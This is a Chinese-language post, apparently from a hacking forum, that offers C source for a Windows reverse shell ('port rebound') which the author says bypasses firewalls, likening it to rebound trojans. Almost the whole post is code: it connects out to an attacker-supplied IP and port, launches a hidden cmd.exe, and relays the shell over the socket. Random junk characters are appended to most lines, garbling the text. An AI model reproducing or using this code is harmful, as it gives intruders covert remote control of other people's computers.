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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M1ayAXO  
gj'ar  
/* ============================== )(ma  
Rebound port in Windows NT h h8UKEM-  
By wind,2006/7 k~vmHb  
===============================*/ Yd<~]aXM   
#include u j:w^t ][  
#include V)a6H^l  
+s S*EvF  
#pragma comment(lib,"wsock32.lib") \`XJz{Lm]  
J]~fv9~P  
void OutputShell(); 3oKqj>  
SOCKET sClient; -B4v1{An  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @Td[rHl  
A>4k4*aFm#  
void main(int argc,char **argv) jkdNisq37  
{ ivagS\Q  
WSADATA stWsaData; 22*t%{(  
int nRet; =~arj  
SOCKADDR_IN stSaiClient,stSaiServer; JPpYT~4  
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if(argc != 3) Xoik%T-  
{ Ke/P [fo  
printf("Useage:\n\rRebound DestIP DestPort\n"); rxz3Mqg  
return; Xt7'clr  
} F9c2JBOM  
pUwX cy<n  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^y3\e  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sXydMk`J  
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stSaiClient.sin_family = AF_INET; &t8_J3?Z  
stSaiClient.sin_port = htons(0); u+R?N% EKP  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C= m Y  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K;97/"  
{ #0P<#S^7  
printf("Bind Socket Failed!\n"); QP;b\1 1m  
return; ,-1$Vh@wM  
} 'w!gQ#De  
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stSaiServer.sin_family = AF_INET; bOFLI#p&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s7 KKH w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b{ozt\:M  
@uE=)mP@  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j(BS;J$i  
{ `kv$B3  
printf("Connect Error!"); \|pAn  
return; R] [M_ r  
} aK>9:{]ez  
OutputShell(); 5HIpoj;\(  
} MU e 'xK  
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void OutputShell() ?.A|Fy^  
{ 8k1 r|s@d  
char szBuff[1024]; 8 (KfX%  
SECURITY_ATTRIBUTES stSecurityAttributes; 0C p}  
OSVERSIONINFO stOsversionInfo; oe*&w9Y}&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZYt __N  
STARTUPINFO stStartupInfo; ~fF }  
char *szShell; )[)]@e  
PROCESS_INFORMATION stProcessInformation; YKg[k:F  
unsigned long lBytesRead; .fsk DW  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); '*XNgvX  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |Hm'.-   
stSecurityAttributes.lpSecurityDescriptor = 0; /h M>dkwu  
stSecurityAttributes.bInheritHandle = TRUE; IeB6r+4|  
:|M/+XPu  
-n *>zGc  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7L+X\oaB  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8$v7|S6 z  
=.X?LWKY  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]Z-oUO Z<k  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z;C=d(|nN  
stStartupInfo.wShowWindow = SW_HIDE; M&ij[%i  
stStartupInfo.hStdInput = hReadPipe; v|I5Gz$qpa  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U+"=  
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GetVersionEx(&stOsversionInfo); bX H^Bm  
-k <9v.:  
switch(stOsversionInfo.dwPlatformId) kxW>Da<6  
{ w;EXjl;X O  
case 1: i5KwYoN  
szShell = "command.com"; KF_Wu}q d  
break; daIL> c"  
default: 8}{o2r@  
szShell = "cmd.exe"; ,GJ>vT)  
break; 3> #mO}\  
} P"x-7>c>Y  
ZGpTw[5ql  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %p2x^air  
bfJ`}xl(8  
send(sClient,szMsg,77,0); 7vaN&%;E%  
while(1) KKjxg7{K  
{ 7+a%ehwU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); " q^#39i?  
if(lBytesRead) ]rg+n c3  
{ >I& jurU#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cvUut^CdK  
send(sClient,szBuff,lBytesRead,0); Nr24[e G>d  
} RF5q5<0  
else Ww96|m  
{ em1cc,  
lBytesRead=recv(sClient,szBuff,1024,0); ,B%fjcn  
if(lBytesRead<=0) break; h Y}/Y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ZjZhz`  
} #t@x6Vt  
} i.t9jN  
$}nh[@  
return; BY*2yp}7  
}
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